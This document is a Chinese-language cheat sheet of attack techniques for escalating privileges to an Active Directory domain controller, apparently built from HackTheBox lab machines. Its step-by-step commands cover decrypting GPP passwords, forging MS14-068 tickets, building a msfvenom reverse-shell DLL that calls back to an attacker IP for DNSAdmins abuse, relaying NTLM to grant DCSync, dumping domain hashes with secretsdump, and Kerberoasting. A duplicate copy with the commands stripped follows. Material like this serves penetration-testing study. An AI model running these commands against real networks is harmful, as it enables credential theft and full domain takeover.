域控提权合集
字数 1191 2025-08-25 22:58:55

域控提权技术合集

0x01 前言

本文整理了多种针对Active Directory域控制器的提权技术,包括GPP漏洞、MS14-068、DNSAdmins提权、不安全的GPO/ACLs权限、Exchange提权、LLMNR/NBT-NS投毒、Kerberoasting和AD回收站利用等技术。

0x02 GPP和SYSVOL中的密码

原理

GPP(Group Policy Preferences)用于管理域内主机的本地管理员密码。配置后会在域控制器上创建包含密码的XML文件,存储在SYSVOL共享目录中。虽然密码使用AES加密,但微软公开了加密密钥。

利用步骤

  1. 定位域控制器

    set l
    nltest /DSGETDC:
    echo %logonserver%
    net time /domain
    
  2. 查询DC共享目录

    smbmap -H 10.10.10.100
    
  3. 连接域共享并查找Groups.xml

    smbclient //active.local/Replication -N
    more Groups.xml
    
  4. 解密密码

    python gpprefdecrypt.py edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
    

0x03 MS14-068 (KB3011780)

原理

KDC在验证PAC时允许任意签名算法,攻击者可伪造包含管理员权限的PAC,获取高权限TGT票证。

利用条件

  1. 域控未打KB3011780补丁
  2. 拥有域内普通用户及其SID

利用步骤

  1. 检测漏洞

    ./FindSMB2UPTime.py 192.168.31.220
    
  2. 获取用户SID

    whoami /all
    
  3. 生成高权限TGT

    ms14-068.py -u james@HTB.LOCAL -s S-1-5-21-4220043660-4019079961-2895681657-1103 -d mantis
    
  4. 注入票证

    mimikatz.exe "kerberos::ptc TGT_james@HTB.LOCAL.ccache"
    
  5. 使用高权限访问

    psexec \\htb.local cmd.exe
    

0x04 DNSAdmins提权

原理

DNS服务在域控上运行,DNSAdmins组成员可加载恶意DLL实现提权。

利用步骤

  1. 制作恶意DLL

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.67 LPORT=4444 --platform=windows -f dll > plugin.dll
    
  2. 开启SMB共享

    sudo impacket-smbserver tw .
    
  3. 注入DLL

    dnscmd.exe 10.10.10.169 /config /serverlevelplugindll \\10.10.14.67\tw\plugin.dll
    
  4. 重启DNS服务触发

    sc.exe \\10.10.10.169 stop dns
    sc.exe \\10.10.10.169 start dns
    

0x05 不安全的GPO权限

利用步骤

使用PowerView创建即时任务:

New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-NoP -NonI -W Hidden -Enc payload -Force'

0x06 不安全的ACLs权限

原理

对域对象有WriteDacl权限可执行DCSync攻击。

0x07 Exchange提权

原理

Exchange Windows Permissions组具有WriteDacl权限,可中继到LDAP授予DCSync权限。

利用步骤

  1. 添加用户到Exchange组

    net group "Exchange Windows Permissions" svc-alfresco /add
    
  2. 执行NTLM中继

    sudo python ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user tw
    
  3. 触发中继

    python privexchange.py -ah 10.10.16.21 10.10.10.161 -u tw -p password -d htb.local
    
  4. 导出域控hash

    impacket-secretsdump htb.local/tw:password@10.10.10.161 -just-dc
    

0x08 LLMNR/NBT-NS投毒

原理

当DNS解析失败时,系统会使用LLMNR/NBNS广播查询,攻击者可响应并获取Net-NTLM哈希。

工具

Responder或Metasploit模块。

0x09 Kerberoasting

原理

请求SPN服务的TGS票证,使用RC4_HMAC_MD5加密(基于NTLM hash),可离线破解。

利用步骤

  1. 查找SPN

    setspn.exe -T test -q */*
    
  2. 请求服务票证

    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/jefflab-sql02.jefflab.local:1433
    
  3. 导出并破解票证

    mimikatz "kerberos::list /export"
    python tgsrecrack.py -w wordlist.txt ticket.kirbi
    

0x10 AD回收站利用

前提

域内已启用回收站功能,用户在AD Recycle Bin组中。

利用步骤

  1. 查看删除对象

    Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
    
  2. 还原对象

    Restore-ADObject -Identity 'f0cc344d-31e0-4866-bceb-a842791ca059'
    
  3. 查询旧密码

    Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Properties *
    

0x11 总结

本文涵盖了多种域控提权技术,从GPP漏洞到Kerberoasting,每种技术都有其特定的利用场景和条件。在实际渗透测试中,应根据目标环境选择合适的技术组合。

域控提权技术合集 0x01 前言 本文整理了多种针对Active Directory域控制器的提权技术,包括GPP漏洞、MS14-068、DNSAdmins提权、不安全的GPO/ACLs权限、Exchange提权、LLMNR/NBT-NS投毒、Kerberoasting和AD回收站利用等技术。 0x02 GPP和SYSVOL中的密码 原理 GPP(Group Policy Preferences)用于管理域内主机的本地管理员密码。配置后会在域控制器上创建包含密码的XML文件,存储在SYSVOL共享目录中。虽然密码使用AES加密,但微软公开了加密密钥。 利用步骤 定位域控制器 : 查询DC共享目录 : 连接域共享并查找Groups.xml : 解密密码 : 0x03 MS14-068 (KB3011780) 原理 KDC在验证PAC时允许任意签名算法,攻击者可伪造包含管理员权限的PAC,获取高权限TGT票证。 利用条件 域控未打KB3011780补丁 拥有域内普通用户及其SID 利用步骤 检测漏洞 : 获取用户SID : 生成高权限TGT : 注入票证 : 使用高权限访问 : 0x04 DNSAdmins提权 原理 DNS服务在域控上运行,DNSAdmins组成员可加载恶意DLL实现提权。 利用步骤 制作恶意DLL : 开启SMB共享 : 注入DLL : 重启DNS服务触发 : 0x05 不安全的GPO权限 利用步骤 使用PowerView创建即时任务: 0x06 不安全的ACLs权限 原理 对域对象有WriteDacl权限可执行DCSync攻击。 0x07 Exchange提权 原理 Exchange Windows Permissions组具有WriteDacl权限,可中继到LDAP授予DCSync权限。 利用步骤 添加用户到Exchange组 : 执行NTLM中继 : 触发中继 : 导出域控hash : 0x08 LLMNR/NBT-NS投毒 原理 当DNS解析失败时,系统会使用LLMNR/NBNS广播查询,攻击者可响应并获取Net-NTLM哈希。 工具 Responder或Metasploit模块。 0x09 Kerberoasting 原理 请求SPN服务的TGS票证,使用RC4_ HMAC_ MD5加密(基于NTLM hash),可离线破解。 利用步骤 查找SPN : 请求服务票证 : 导出并破解票证 : 0x10 AD回收站利用 前提 域内已启用回收站功能,用户在AD Recycle Bin组中。 利用步骤 查看删除对象 : 还原对象 : 查询旧密码 : 0x11 总结 本文涵盖了多种域控提权技术,从GPP漏洞到Kerberoasting,每种技术都有其特定的利用场景和条件。在实际渗透测试中,应根据目标环境选择合适的技术组合。